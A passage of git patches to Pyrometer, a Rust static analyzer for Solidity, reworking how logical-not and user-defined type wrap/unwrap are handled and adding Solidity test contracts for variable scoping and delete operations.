r).simplify_exec_op(true, analyzer, arena)?; let idx = arena.idx_or_upsert(res.clone(), analyzer); match res { Elem::Expr(expr) => match collapse(*expr.lhs, expr.op, *expr.rhs, arena) { - MaybeCollapsed::Concretes(l, r) => { + MaybeCollapsed::Concretes(l, op, r) => { let exec_res = - RangeExpr::new(l, expr.op, r).exec_op(true, analyzer, arena)?; + RangeExpr::new(l, op, r).exec_op(true, analyzer, arena)?; Elem::Arena(idx).set_arenaized_flattened(true, &exec_res, arena); Ok(exec_res) } @@ -615,8 +613,8 @@ impl RangeElem for RangeExpr { Elem::Arena(idx).set_arenaized_flattened(true, &collapsed, arena); Ok(collapsed) } - MaybeCollapsed::Not(l, r) => { - Ok(Elem::Expr(RangeExpr::new(l, expr.op, r))) + MaybeCollapsed::Not(l, op, r) => { + Ok(Elem::Expr(RangeExpr::new(l, op, r))) } }, other => Ok(other), diff --git a/crates/graph/src/range/exec/exec_op.rs b/crates/graph/src/range/exec/exec_op.rs index 0635e324..22d67e2a 100644 --- a/crates/graph/src/range/exec/exec_op.rs +++ b/crates/graph/src/range/exec/exec_op.rs @@ -137,7 +137,11 @@ impl ExecOp for RangeExpr { if let Some(_idx) = self.arena_idx(arena) { self.set_arenaized_flattened(maximize, ret.clone()?, arena); } - ret + + let ret = ret?; + + tracing::trace!("result: {ret}"); + Ok(ret) } fn spread( @@ -286,9 +290,6 @@ impl ExecOp for RangeExpr { RangeOp::Or => exec_or( &lhs_min, &lhs_max, &rhs_min, &rhs_max, maximize, analyzer, arena, ), - RangeOp::Not => exec_not( - &lhs_min, &lhs_max, &rhs_min, &rhs_max, maximize, analyzer, arena, - ), RangeOp::BitAnd => { exec_bit_and(&lhs_min, &lhs_max, &rhs_min, &rhs_max, maximize, arena) } diff --git a/crates/graph/src/range/exec/mod.rs b/crates/graph/src/range/exec/mod.rs index a12a21e8..1c0d57d4 100644 --- a/crates/graph/src/range/exec/mod.rs +++ b/crates/graph/src/range/exec/mod.rs @@ -19,9 +19,7 @@ mod math_ops; pub use math_ops::{exec_add, exec_div, exec_exp, exec_mod, exec_mul, exec_sub}; mod truthy_ops; -pub use truthy_ops::{ - exec_and, exec_eq_neq, exec_gt, exec_gte, exec_lt, exec_lte, exec_not, exec_or, -}; +pub use truthy_ops::{exec_and, exec_eq_neq, exec_gt, exec_gte, exec_lt, exec_lte, exec_or}; mod mem_ops; pub use mem_ops::{ diff --git a/crates/graph/src/range/exec/truthy_ops/logical.rs b/crates/graph/src/range/exec/truthy_ops/logical.rs index aa4796b7..3dc2ef49 100644 --- a/crates/graph/src/range/exec/truthy_ops/logical.rs +++ b/crates/graph/src/range/exec/truthy_ops/logical.rs @@ -115,31 +115,3 @@ pub fn exec_or( Some(candidates.remove(0)) } } - -pub fn exec_not( - lhs_min: &Elem, - lhs_max: &Elem, - rhs_min: &Elem, - rhs_max: &Elem, - maximize: bool, - _analyzer: &impl GraphBackend, - arena: &mut RangeArena>, -) -> Option> { - assert!(matches!(rhs_min, Elem::Null) && matches!(rhs_max, Elem::Null)); - let candidates = vec![lhs_min.range_not(), lhs_max.range_not()]; - let mut candidates = candidates.into_iter().flatten().collect::>(); - candidates.sort_by(|a, b| match a.range_ord(b, arena) { - Some(r) => r, - _ => std::cmp::Ordering::Less, - }); - - if candidates.is_empty() { - return None; - } - - if maximize { - Some(candidates.remove(candidates.len() - 1)) - } else { - Some(candidates.remove(0)) - } -} diff --git a/crates/graph/src/range/exec/truthy_ops/mod.rs b/crates/graph/src/range/exec/truthy_ops/mod.rs index 4a100732..3c4838c1 100644 --- a/crates/graph/src/range/exec/truthy_ops/mod.rs +++ b/crates/graph/src/range/exec/truthy_ops/mod.rs @@ -1,5 +1,5 @@ mod logical; mod ord; -pub use logical::{exec_and, exec_not, exec_or}; +pub use logical::{exec_and, exec_or}; pub use ord::{exec_eq_neq, exec_gt, exec_gte, exec_lt, exec_lte}; diff --git a/crates/graph/src/solvers/atoms.rs b/crates/graph/src/solvers/atoms.rs index 11bb09ed..f3d52ae0 100644 --- a/crates/graph/src/solvers/atoms.rs +++ b/crates/graph/src/solvers/atoms.rs @@ -308,10 +308,11 @@ impl Atomize for Elem { Elem::Concrete(_) | Elem::Reference(_) => AtomOrPart::Part(self.clone()), Elem::ConcreteDyn(_) => AtomOrPart::Part(self.clone()), _e @ Elem::Expr(expr) => { - // println!("collapsing: {e}"); match collapse(*expr.lhs.clone(), expr.op, *expr.rhs.clone(), arena) { - MaybeCollapsed::Concretes(_l, _r) => { - let exec_res = expr.exec_op(true, analyzer, arena).unwrap(); + MaybeCollapsed::Concretes(l, op, r) => { + let exec_res = RangeExpr::new(l, op, r) + .exec_op(true, analyzer, arena) + .unwrap(); return exec_res.atoms_or_part(Some(self), analyzer, arena); } MaybeCollapsed::Collapsed(elem) => { diff --git a/crates/pyrometer/src/analyzer_backend.rs b/crates/pyrometer/src/analyzer_backend.rs index df9b1206..6ed9b309 100644 --- a/crates/pyrometer/src/analyzer_backend.rs +++ b/crates/pyrometer/src/analyzer_backend.rs @@ -243,9 +243,7 @@ impl AnalyzerLike for Analyzer { fn add_expr_err(&mut self, err: ExprErr) { if self.debug_panic() { - println!("here1"); if let Some(path) = self.minimize_debug().clone() { - println!("here2"); let reconstruction_edge: ContextNode = self .graph .node_indices() @@ -253,7 +251,6 @@ impl AnalyzerLike for Analyzer { Node::Context(context) if context.killed.is_some() => { match context.killed.unwrap() { (_, KilledKind::ParseError) => { - println!("here3"); // println!("found context: {}", context.path); let edges = graph::nodes::ContextNode::from(node) .all_edges(self) @@ -273,10 +270,8 @@ impl AnalyzerLike for Analyzer { _ => None, }) .unwrap(); - println!("here5"); let min_str = self.minimize_err(reconstruction_edge); - println!("here6: {min_str}"); // println!("reconstructed source:\n{} placed in {}", min_str, path); let mut file = std::fs::OpenOptions::new() diff --git a/crates/pyrometer/tests/test_data/cast.sol b/crates/pyrometer/tests/test_data/cast.sol index 876b4000..392e792a 100644 --- a/crates/pyrometer/tests/test_data/cast.sol +++ b/crates/pyrometer/tests/test_data/cast.sol @@ -1,9 +1,9 @@ // SPDX-License-Identifier: MIT or APACHE2 pragma solidity ^0.8.0; -// type ShortString is bytes32; -// type MyUint is uint256; -// type MyInt is int256; +type ShortString is bytes32; +type MyUint is uint256; +type MyInt is int256; contract Cast { function u_int(uint256 x) public pure { diff --git a/crates/solc-expressions/src/cmp.rs b/crates/solc-expressions/src/cmp.rs index 29a27d5c..623c1a13 100644 --- a/crates/solc-expressions/src/cmp.rs +++ b/crates/solc-expressions/src/cmp.rs @@ -30,18 +30,20 @@ pub trait Cmp: AnalyzerBackend + Sized { Ok(()) } ExprRet::Single(lhs) | ExprRet::SingleLiteral(lhs) => { - let lhs_cvar = ContextVarNode::from(lhs); + let lhs_cvar = + ContextVarNode::from(lhs).latest_version_or_inherited_in_ctx(ctx, self); tracing::trace!("not: {}", lhs_cvar.display_name(self).into_expr_err(loc)?); - let mut elem = Elem::Expr(RangeExpr::new( + let elem = Elem::Expr(RangeExpr::new( Elem::from(lhs_cvar), - RangeOp::Not, - Elem::Null, + RangeOp::Eq, + Elem::from(false), )); - let _ = elem.arenaize(self, arena); - let mut range = SolcRange::new(elem.clone(), elem, vec![]); - range.cache_eval(self, arena).into_expr_err(loc)?; + let bool_idx = self.builtin_or_add(Builtin::Bool); + let ty = VarType::try_from_idx(self, bool_idx).unwrap(); + + let false_node = self.add_concrete_var(ctx, Concrete::from(false), loc)?; let out_var = ContextVar { loc: Some(loc), name: format!( @@ -52,17 +54,23 @@ pub trait Cmp: AnalyzerBackend + Sized { display_name: format!("!{}", lhs_cvar.display_name(self).into_expr_err(loc)?,), storage: None, is_tmp: true, - tmp_of: Some(TmpConstruction::new(lhs_cvar, RangeOp::Not, None)), + tmp_of: Some(TmpConstruction::new( + lhs_cvar, + RangeOp::Eq, + Some(false_node), + )), dep_on: Some(lhs_cvar.dependent_on(self, true).into_expr_err(loc)?), is_symbolic: lhs_cvar.is_symbolic(self).into_expr_err(loc)?, is_return: false, - ty: VarType::BuiltIn( - BuiltInNode::from(self.builtin_or_add(Builtin::Bool)), - Some(range), - ), + ty, }; + let cvar = ContextVarNode::from(self.add_node(out_var)); + cvar.set_range_min(self, arena, elem.clone()) + .into_expr_err(loc)?; + cvar.set_range_max(self, arena, elem.clone()) + .into_expr_err(loc)?; - ctx.push_expr(ExprRet::Single(self.add_node(out_var)), self) + ctx.push_expr(ExprRet::Single(cvar.0.into()), self) .into_expr_err(loc)?; Ok(()) } diff --git a/crates/solc-expressions/src/context_builder/flattened.rs b/crates/solc-expressions/src/context_builder/flattened.rs index b29e6527..3617c8ae 100644 --- a/crates/solc-expressions/src/context_builder/flattened.rs +++ b/crates/solc-expressions/src/context_builder/flattened.rs @@ -1553,7 +1553,6 @@ pub trait Flatten: let false_killed = false_subctx.is_killed(self).into_expr_err(loc)? || false_subctx.unreachable(self, arena).into_expr_err(loc)?; - println!("true killed: {true_killed}, false_killed: {false_killed}"); match (true_killed, false_killed) { (true, true) => { // both have been killed, delete the child and dont process the bodies diff --git a/crates/solc-expressions/src/func_call/internal_call.rs b/crates/solc-expressions/src/func_call/internal_call.rs index f41bc57b..d353e156 100644 --- a/crates/solc-expressions/src/func_call/internal_call.rs +++ b/crates/solc-expressions/src/func_call/internal_call.rs @@ -6,7 +6,9 @@ use crate::{ }; use graph::{ - nodes::{BuiltInNode, ContextNode, ContextVarNode, ContractNode, FunctionNode, StructNode}, + nodes::{ + BuiltInNode, ContextNode, ContextVarNode, ContractNode, FunctionNode, StructNode, TyNode, + }, AnalyzerBackend, GraphBackend, Node, TypeNode, VarType, }; use shared::{ExprErr, GraphError, NodeIdx}; @@ -69,17 +71,25 @@ pub trait InternalFuncCaller: }; let mut funcs = self.possible_library_funcs(ctx, var_ty.ty_idx()); - if matches!(var_ty, VarType::BuiltIn(_, _)) { - if let Some((ret, is_lib)) = self.builtin_builtin_fn( - BuiltInNode::from(var_ty.ty_idx()), - name, - num_inputs, - is_storage, - )? { - if is_lib { - funcs.push(ret); + match var_ty { + VarType::BuiltIn(_, _) => { + if let Some((ret, is_lib)) = self.builtin_builtin_fn( + BuiltInNode::from(var_ty.ty_idx()), + name, + num_inputs, + is_storage, + )? { + if is_lib { + funcs.push(ret); + } + } + } + VarType::User(TypeNode::Ty(ty), _) => { + if let Some(func) = self.specialize_ty_fn(ty, name)? { + funcs.push(func) } } + _ => {} } let mut possible_funcs = funcs @@ -131,7 +141,6 @@ pub trait InternalFuncCaller: if let Some((ret, lib)) = self.builtin_builtin_fn(BuiltInNode::from(member), name, num_inputs, false)? { - println!("ret: {}, lib: {lib}", ret.name(self).unwrap()); if !lib { return Ok((vec![ret], true)); } diff --git a/crates/solc-expressions/src/literal.rs b/crates/solc-expressions/src/literal.rs index 10e044cb..1d27fc82 100644 --- a/crates/solc-expressions/src/literal.rs +++ b/crates/solc-expressions/src/literal.rs @@ -237,7 +237,7 @@ pub trait Literal: AnalyzerBackend + Sized { let concrete_node = if h.len() <= 32 { let mut target = H256::default(); - let mut max = 1; + let mut max = 0; h.iter().enumerate().for_each(|(i, hex_byte)| { if *hex_byte != 0x00u8 { max = i as u8 + 1; @@ -869,7 +869,7 @@ mod tests { hex: "".to_string(), loc: Loc::File(0, 0, 0), }; - let expected = Concrete::Bytes(1, H256::default()); + let expected = Concrete::Bytes(0, H256::default()); test_hex_literals(&[hex_literal], expected) } diff --git a/crates/solc-expressions/src/member_access/builtin_access.rs b/crates/solc-expressions/src/member_access/builtin_access.rs index d68264e1..ac013bbb 100644 --- a/crates/solc-expressions/src/member_access/builtin_access.rs +++ b/crates/solc-expressions/src/member_access/builtin_access.rs @@ -3,7 +3,7 @@ use crate::LibraryAccess; use graph::{ nodes::{ BuiltInNode, Builtin, Concrete, ContextNode, ContextVar, ExprRet, Function, FunctionNode, - FunctionParam, FunctionParamNode, FunctionReturn, + FunctionParam, FunctionParamNode, FunctionReturn, TyNode, }, AnalyzerBackend, ContextEdge, Edge, VarType, }; @@ -38,6 +38,76 @@ pub trait BuiltinAccess: } } + fn specialize_ty_fn( + &mut self, + node: TyNode, + name: &str, + ) -> Result, GraphError> { + match name { + "unwrap" => { + let func = self.builtin_fns().get("unwrap").unwrap().clone(); + let inputs = vec![ + FunctionParam { + loc: Loc::Builtin, + ty: node.0.into(), + order: 0, + storage: None, + name: None, + }, + FunctionParam { + loc: Loc::Builtin, + ty: node.0.into(), + order: 0, + storage: None, + name: None, + }, + ]; + let outputs = vec![FunctionReturn { + loc: Loc::Builtin, + ty: node.underlying_ty(self)?, + storage: None, + name: None, + }]; + Ok(Some(self.construct_specialized_fn( + func.clone(), + inputs, + outputs, + )?)) + } + "wrap" => { + let func = self.builtin_fns().get("wrap").unwrap().clone(); + let inputs = vec![ + FunctionParam { + loc: Loc::Builtin, + ty: node.0.into(), + order: 0, + storage: None, + name: None, + }, + FunctionParam { + loc: Loc::Builtin, + ty: node.underlying_ty(self)?, + order: 0, + storage: None, + name: None, + }, + ]; + let outputs = vec![FunctionReturn { + loc: Loc::Builtin, + ty: node.0.into(), + storage: None, + name: None, + }]; + Ok(Some(self.construct_specialized_fn( + func.clone(), + inputs, + outputs, + )?)) + } + _ => Ok(None), + } + } + fn builtin_builtin_fn( &mut self, node: BuiltInNode, @@ -45,6 +115,7 @@ pub trait BuiltinAccess: num_inputs: usize, is_storage: bool, ) -> Result, GraphError> { + println!("name: {name}"); match node.underlying(self)?.clone() { Builtin::Address | Builtin::AddressPayable | Builtin::Payable => { match name { @@ -52,8 +123,10 @@ pub trait BuiltinAccess: // TODO: check if the address is known to be a certain type and the function signature is known // and call into the function let builtin_name = name.split('(').collect::>()[0]; + println!("here"); let func_node = FunctionNode::from(self.builtin_fn_or_maybe_add(builtin_name).unwrap()); + println!("func name: {}", func_node.name(self).unwrap()); Ok(Some((func_node, true))) } _ => Ok(None), @@ -91,7 +164,7 @@ pub trait BuiltinAccess: storage: None, name: None, }]; - self.construct_specialized_builtin(func.clone(), inputs, outputs)? + self.construct_specialized_fn(func.clone(), inputs, outputs)? }; Ok(Some((specialized, false))) @@ -129,7 +202,7 @@ pub trait BuiltinAccess: storage: None, name: None, }]; - self.construct_specialized_builtin(func.clone(), inputs, outputs)? + self.construct_specialized_fn(func.clone(), inputs, outputs)? }; Ok(Some((specialized, false))) @@ -168,14 +241,14 @@ pub trait BuiltinAccess: vec![ FunctionParam { loc: Loc::Builtin, - ty: inner.ty_idx(), + ty: self_ty.ty_idx(), order: 0, storage: None, name: None, }, FunctionParam { loc: Loc::Builtin, - ty: self_ty.ty_idx(), + ty: inner.ty_idx(), order: 0, storage: None, name: None, @@ -192,7 +265,7 @@ pub trait BuiltinAccess: } else { vec![] }; - self.construct_specialized_builtin(func.clone(), inputs, outputs)? + self.construct_specialized_fn(func.clone(), inputs, outputs)? }; Ok(Some((specialized, true))) @@ -222,7 +295,7 @@ pub trait BuiltinAccess: storage: None, name: None, }]; - self.construct_specialized_builtin(func.clone(), inputs, outputs)? + self.construct_specialized_fn(func.clone(), inputs, outputs)? }; Ok(Some((specialized, true))) } else { @@ -236,17 +309,15 @@ pub trait BuiltinAccess: } } - fn construct_specialized_builtin( + fn construct_specialized_fn( &mut self, func: Function, inputs: Vec, outputs: Vec, ) -> Result { let func_node = FunctionNode::from(self.add_node(func)); - let mut params_strs = vec![]; - inputs.into_iter().for_each(|input| { + inputs.into_iter().rev().for_each(|input| { let input_node = self.add_node(input); - params_strs.push(FunctionParamNode::from(input_node).ty_str(self).unwrap()); self.add_edge(input_node, func_node, Edge::FunctionParam); }); outputs.into_iter().for_each(|output| { @@ -254,9 +325,15 @@ pub trait BuiltinAccess: self.add_edge(output_node, func_node, Edge::FunctionReturn); }); + let params = func_node.params(self); + let params_strs = params + .iter() + .map(|param| param.ty_str(self).unwrap()) + .collect::>(); let underlying_mut = func_node.underlying_mut(self)?; let name = underlying_mut.name.as_mut().unwrap(); let full_name = format!("{}({})", name, params_strs.join(", ")); + println!("full name: {full_name}"); name.name.clone_from(&full_name); self.add_edge(func_node, self.entry(), Edge::Func); @@ -275,6 +352,7 @@ pub trait BuiltinAccess: is_storage: bool, loc: Loc, ) -> Result<(ExprRet, bool), ExprErr> { + println!("name: {name}"); match node.underlying(self).into_expr_err(loc)?.clone() { Builtin::Address | Builtin::AddressPayable | Builtin::Payable => { match name { @@ -283,6 +361,10 @@ pub trait BuiltinAccess: // and call into the function let builtin_name = name.split('(').collect::>()[0]; let func_node = self.builtin_fn_or_maybe_add(builtin_name).unwrap(); + println!( + "added address lib func: {}", + FunctionNode::from(func_node).name(self).unwrap() + ); Ok((ExprRet::Single(func_node), true)) } "codehash" => { diff --git a/crates/solc-expressions/src/member_access/library_access.rs b/crates/solc-expressions/src/member_access/library_access.rs index 7b1a7f66..c74c1703 100644 --- a/crates/solc-expressions/src/member_access/library_access.rs +++ b/crates/solc-expressions/src/member_access/library_access.rs @@ -20,7 +20,6 @@ pub trait LibraryAccess: AnalyzerBackend + ty: NodeIdx, func_name: &str, ) -> Option { - println!("searching for {func_name}"); self.possible_library_funcs(ctx, ty) .iter() .filter_map(|func| { From 88d6a953ff70abd94dbf2723175c10a366f8bd43 Mon Sep 17 00:00:00 2001 From: plotchy Date: Mon, 22 Jul 2024 13:44:48 -0400 Subject: [PATCH 38/52] variable coverage --- crates/pyrometer/tests/no_killed_ctxs.rs | 8 ++++ crates/pyrometer/tests/test_data/variable.sol | 44 +++++++++++++++++++ 2 files changed, 52 insertions(+) create mode 100644 crates/pyrometer/tests/test_data/variable.sol diff --git a/crates/pyrometer/tests/no_killed_ctxs.rs b/crates/pyrometer/tests/no_killed_ctxs.rs index 69c3319e..7d252904 100644 --- a/crates/pyrometer/tests/no_killed_ctxs.rs +++ b/crates/pyrometer/tests/no_killed_ctxs.rs @@ -222,3 +222,11 @@ fn test_repros() { assert_no_parse_errors(path_str); } } + +#[test] +fn test_variable() { + let manifest_dir = env::var("CARGO_MANIFEST_DIR").unwrap(); + let path_str = format!("{manifest_dir}/tests/test_data/variable.sol"); + let sol = include_str!("./test_data/variable.sol"); + assert_no_ctx_killed(path_str, sol); +} diff --git a/crates/pyrometer/tests/test_data/variable.sol b/crates/pyrometer/tests/test_data/variable.sol new file mode 100644 index 00000000..846fd356 --- /dev/null +++ b/crates/pyrometer/tests/test_data/variable.sol @@ -0,0 +1,44 @@ +contract Variable { + aUserType a_user_type; + + struct aUserType { + uint aUserType; + } + + function a_user_type_memory(aUserType memory a_user_type) public returns (uint) { + return a_user_type.aUserType; + } + + function a_user_type_calldata(aUserType calldata a_user_type) public returns (uint) { + return a_user_type.aUserType; + } + + function a_user_type_storage() public returns (uint) { + aUserType storage a_user_type = a_user_type; + return a_user_type.aUserType; + } +} + +contract B { + struct A { + address a; + } +} +contract A is B { + A a; // contract A + + function return_struct() external returns (A memory) { + // a is of type B.A, *not* Contract::A + a = A(address(this)); + return a; + } +} + +contract C { + C c; + function return_contract() external returns (C) { + // c is of type Contract::C + c = C(address(this)); + return c; + } +} \ No newline at end of file From 801de39177bb6bdf49588304b469f57c0320c58f Mon Sep 17 00:00:00 2001 From: plotchy Date: Mon, 22 Jul 2024 13:58:17 -0400 Subject: [PATCH 39/52] tests for delete --- crates/pyrometer/tests/no_killed_ctxs.rs | 9 ++ crates/pyrometer/tests/test_data/delete.sol | 138 ++++++++++++++++++++ 2 files changed, 147 insertions(+) create mode 100644 crates/pyrometer/tests/test_data/delete.sol diff --git a/crates/pyrometer/tests/no_killed_ctxs.rs b/crates/pyrometer/tests/no_killed_ctxs.rs index 7d252904..0da44405 100644 --- a/crates/pyrometer/tests/no_killed_ctxs.rs +++ b/crates/pyrometer/tests/no_killed_ctxs.rs @@ -41,6 +41,15 @@ fn test_condop() { assert_no_parse_errors(path_str); } + +#[test] +fn test_delete() { + let manifest_dir = env::var("CARGO_MANIFEST_DIR").unwrap(); + let path_str = format!("{manifest_dir}/tests/test_data/delete.sol"); + let sol = include_str!("./test_data/delete.sol"); + assert_no_ctx_killed(path_str, sol); +} + #[test] fn test_dyn_types() { let manifest_dir = env::var("CARGO_MANIFEST_DIR").unwrap(); diff --git a/crates/pyrometer/tests/test_data/delete.sol b/crates/pyrometer/tests/test_data/delete.sol new file mode 100644 index 00000000..91e2a42b --- /dev/null +++ b/crates/pyrometer/tests/test_data/delete.sol @@ -0,0 +1,138 @@ +pragma solidity ^0.8.0; + +contract ComplexDelete { + struct ContactInfo { + string email; + string phone; + } + + struct Address { + string street; + string city; + string country; + uint256 postalCode; + } + + struct Employment { + string company; + string position; + uint256 startDate; + uint256 endDate; + } + + struct Education { + string institution; + string degree; + uint256 graduationYear; + } + + struct User { + uint256 id; + string name; + ContactInfo contactInfo; + Address[] addresses; + Employment[] employmentHistory; + Education[] educationHistory; + mapping(string => bool) preferences; + } + + mapping(uint256 => User) public users; + uint256[] public userIds; + + function addUser( + uint256 id, + string memory name, + string memory email, + string memory phone + ) public { + require(users[id].id == 0, "User already exists"); + User storage newUser = users[id]; + newUser.id = id; + newUser.name = name; + newUser.contactInfo = ContactInfo(email, phone); + userIds.push(id); + } + + function addUserAddress( + uint256 userId, + string memory street, + string memory city, + string memory country, + uint256 postalCode + ) public { + users[userId].addresses.push(Address(street, city, country, postalCode)); + } + + function addEmploymentHistory( + uint256 userId, + string memory company, + string memory position, + uint256 startDate, + uint256 endDate + ) public { + users[userId].employmentHistory.push(Employment(company, position, startDate, endDate)); + } + + function addEducationHistory( + uint256 userId, + string memory institution, + string memory degree, + uint256 graduationYear + ) public { + users[userId].educationHistory.push(Education(institution, degree, graduationYear)); + } + + function setUserPreference(uint256 userId, string memory key, bool value) public { + users[userId].preferences[key] = value; + } + + function deleteUser(uint256 userId) public { + require(users[userId].id != 0, "User does not exist"); + delete users[userId]; + for (uint256 i = 0; i < userIds.length; i++) { + if (userIds[i] == userId) { + userIds[i] = userIds[userIds.length - 1]; + userIds.pop(); + break; + } + } + } + + function deleteUserAddress(uint256 userId, uint256 addressIndex) public { + require(addressIndex < users[userId].addresses.length, "Address index out of bounds"); + users[userId].addresses[addressIndex] = users[userId].addresses[users[userId].addresses.length - 1]; + users[userId].addresses.pop(); + } + + function deleteEmploymentHistory(uint256 userId, uint256 employmentIndex) public { + require(employmentIndex < users[userId].employmentHistory.length, "Employment index out of bounds"); + users[userId].employmentHistory[employmentIndex] = users[userId].employmentHistory[users[userId].employmentHistory.length - 1]; + users[userId].employmentHistory.pop(); + } + + function deleteEducationHistory(uint256 userId, uint256 educationIndex) public { + require(educationIndex < users[userId].educationHistory.length, "Education index out of bounds"); + users[userId].educationHistory[educationIndex] = users[userId].educationHistory[users[userId].educationHistory.length - 1]; + users[userId].educationHistory.pop(); + } + + function deleteUserPreference(uint256 userId, string memory key) public { + delete users[userId].preferences[key]; + } + + function updateContactInfo(uint256 userId, string memory newEmail, string memory newPhone) public { + users[userId].contactInfo = ContactInfo(newEmail, newPhone); + } + + function clearAllUserAddresses(uint256 userId) public { + delete users[userId].addresses; + } + + function clearAllEmploymentHistory(uint256 userId) public { + delete users[userId].employmentHistory; + } + + function clearAllEducationHistory(uint256 userId) public { + delete users[userId].educationHistory; + } +} \ No newline at end of file From 84c861b9541cabd670b96c5fa71e87059dde3f18 Mon Sep 17 00:00:00 2001 From: plotchy Date: Mon, 22 Jul 2024 14:02:41 -0400 Subject: [PATCH 40/52] prep delete for "pyro" test cases --- crates/pyrometer/tests/test_data/delete.sol | 67 +++++++++++++++++++++ 1 file changed, 67 insertions(+) diff --git a/crates/pyrometer/tests/test_data/delete.sol b/crates/pyrometer/tests/test_data/delete.sol index 91e2a42b..685175b5 100644 --- a/crates/pyrometer/tests/test_data/delete.sol +++ b/crates/pyrometer/tests/test_data/delete.sol @@ -135,4 +135,71 @@ contract ComplexDelete { function clearAllEducationHistory(uint256 userId) public { delete users[userId].educationHistory; } + +} + +contract UseComplexDelete { + ComplexDelete t; + + constructor() { + t = new ComplexDelete(); + } + + function useIt() public { + // Add users + t.addUser(1, "Alice", "alice@example.com", "1234567890"); + t.addUser(2, "Bob", "bob@example.com", "0987654321"); + + // Add addresses + t.addUserAddress(1, "123 Main St", "New York", "USA", 10001); + t.addUserAddress(1, "456 Elm St", "Los Angeles", "USA", 90001); + t.addUserAddress(2, "789 Oak St", "Chicago", "USA", 60601); + + // Add employment history + t.addEmploymentHistory(1, "TechCorp", "Developer", 1609459200, 1640995200); + t.addEmploymentHistory(1, "WebSoft", "Senior Developer", 1641081600, 0); + t.addEmploymentHistory(2, "DataFirm", "Analyst", 1577836800, 0); + + // Add education history + t.addEducationHistory(1, "Tech University", "BSc Computer Science", 2020); + t.addEducationHistory(2, "Data College", "MSc Data Science", 2019); + + // Set preferences + t.setUserPreference(1, "receiveNewsletter", true); + t.setUserPreference(1, "darkMode", false); + t.setUserPreference(2, "receiveNewsletter", false); + + // Test deletions and updates + + // Delete an address + t.deleteUserAddress(1, 0); + + // Delete employment history + t.deleteEmploymentHistory(1, 0); + + // Delete education history + t.deleteEducationHistory(2, 0); + + // Delete user preference + t.deleteUserPreference(1, "darkMode"); + + // Update contact info + t.updateContactInfo(2, "bob.new@example.com", "1122334455"); + + // Clear all addresses for a user + t.clearAllUserAddresses(1); + + // Clear all employment history for a user + t.clearAllEmploymentHistory(2); + + // Clear all education history for a user + t.clearAllEducationHistory(1); + + // Delete an entire user + t.deleteUser(1); + + // Add a new user to test after deletions + t.addUser(3, "Charlie", "charlie@example.com", "5556667777"); + t.addUserAddress(3, "321 Pine St", "San Francisco", "USA", 94101); + } } \ No newline at end of file From 044f313ac614cb42598a13267d43ecd3d768a6ab Mon Sep 17 00:00:00 2001 From: brock elmore Date: Mon, 22 Jul 2024 11:59:47 -0700 Subject: [PATCH 41/52] small fixes --- crates/graph/src/nodes/block.rs | 3 + crates/graph/src/range/elem/expr/collapse.rs | 4 +- crates/graph/src/range/elem/mod.rs | 4 - crates/pyrometer/tests/test_data/delete.sol | 192 +++++++------ .../tests/test_data/require_with_killed.sol | 270 ++++++++++-------- crates/pyrometer/tests/test_data/variable.sol | 22 +- .../src/context_builder/flattened.rs | 36 ++- crates/solc-expressions/src/require.rs | 9 + crates/solc-expressions/src/yul/yul_funcs.rs | 2 +- 9 files changed, 319 insertions(+), 223 deletions(-) diff --git a/crates/graph/src/nodes/block.rs b/crates/graph/src/nodes/block.rs index 8627766f..0e3c27f6 100644 --- a/crates/graph/src/nodes/block.rs +++ b/crates/graph/src/nodes/block.rs @@ -68,4 +68,7 @@ pub struct Block { pub prevrandao: Option, /// The block's timestamp pub timestamp: Option, + /// The block's blobhash + pub blobhash: Vec, + pub blobbasefee: Option, } diff --git a/crates/graph/src/range/elem/expr/collapse.rs b/crates/graph/src/range/elem/expr/collapse.rs index f27ba986..2f3730d7 100644 --- a/crates/graph/src/range/elem/expr/collapse.rs +++ b/crates/graph/src/range/elem/expr/collapse.rs @@ -60,7 +60,7 @@ pub fn collapse( tracing::trace!("collapsing: {l} {op} {r}"); let l = if let Elem::Expr(e) = l { - println!("collapsing lhs"); + //println!("collapsing lhs"); match collapse(*e.lhs, e.op, *e.rhs, arena) { MaybeCollapsed::Not(l, op, r) => Elem::Expr(RangeExpr::new(l, op, r)), MaybeCollapsed::Concretes(l, op, r) => Elem::Expr(RangeExpr::new(l, op, r)), @@ -71,7 +71,7 @@ pub fn collapse( }; let r = if let Elem::Expr(e) = r { - println!("collapsing rhs"); + //println!("collapsing rhs"); match collapse(*e.lhs, e.op, *e.rhs, arena) { MaybeCollapsed::Not(l, op, r) => Elem::Expr(RangeExpr::new(l, op, r)), MaybeCollapsed::Concretes(l, op, r) => Elem::Expr(RangeExpr::new(l, op, r)), diff --git a/crates/graph/src/range/elem/mod.rs b/crates/graph/src/range/elem/mod.rs index 3e96b203..e18640c6 100644 --- a/crates/graph/src/range/elem/mod.rs +++ b/crates/graph/src/range/elem/mod.rs @@ -66,8 +66,6 @@ pub enum RangeOp { Eq, /// Not Equal Neq, - /// Logical Not - Not, /// Bitwise shift left Shl, /// Bitwise shift right @@ -156,7 +154,6 @@ impl RangeOp { Gte => false, And => true, Or => true, - Not => false, BitNot => false, BitAnd => false, @@ -275,7 +272,6 @@ impl fmt::Display for RangeOp { Gte => write!(f, ">="), Eq => write!(f, "=="), Neq => write!(f, "!="), - Not => write!(f, "!"), And => write!(f, "&&"), Or => write!(f, "||"), Cast => write!(f, "cast"), diff --git a/crates/pyrometer/tests/test_data/delete.sol b/crates/pyrometer/tests/test_data/delete.sol index 685175b5..1ab62cbb 100644 --- a/crates/pyrometer/tests/test_data/delete.sol +++ b/crates/pyrometer/tests/test_data/delete.sol @@ -60,7 +60,9 @@ contract ComplexDelete { string memory country, uint256 postalCode ) public { - users[userId].addresses.push(Address(street, city, country, postalCode)); + users[userId].addresses.push( + Address(street, city, country, postalCode) + ); } function addEmploymentHistory( @@ -70,7 +72,9 @@ contract ComplexDelete { uint256 startDate, uint256 endDate ) public { - users[userId].employmentHistory.push(Employment(company, position, startDate, endDate)); + users[userId].employmentHistory.push( + Employment(company, position, startDate, endDate) + ); } function addEducationHistory( @@ -79,10 +83,16 @@ contract ComplexDelete { string memory degree, uint256 graduationYear ) public { - users[userId].educationHistory.push(Education(institution, degree, graduationYear)); + users[userId].educationHistory.push( + Education(institution, degree, graduationYear) + ); } - function setUserPreference(uint256 userId, string memory key, bool value) public { + function setUserPreference( + uint256 userId, + string memory key, + bool value + ) public { users[userId].preferences[key] = value; } @@ -93,26 +103,45 @@ contract ComplexDelete { if (userIds[i] == userId) { userIds[i] = userIds[userIds.length - 1]; userIds.pop(); - break; + // break; } } } function deleteUserAddress(uint256 userId, uint256 addressIndex) public { - require(addressIndex < users[userId].addresses.length, 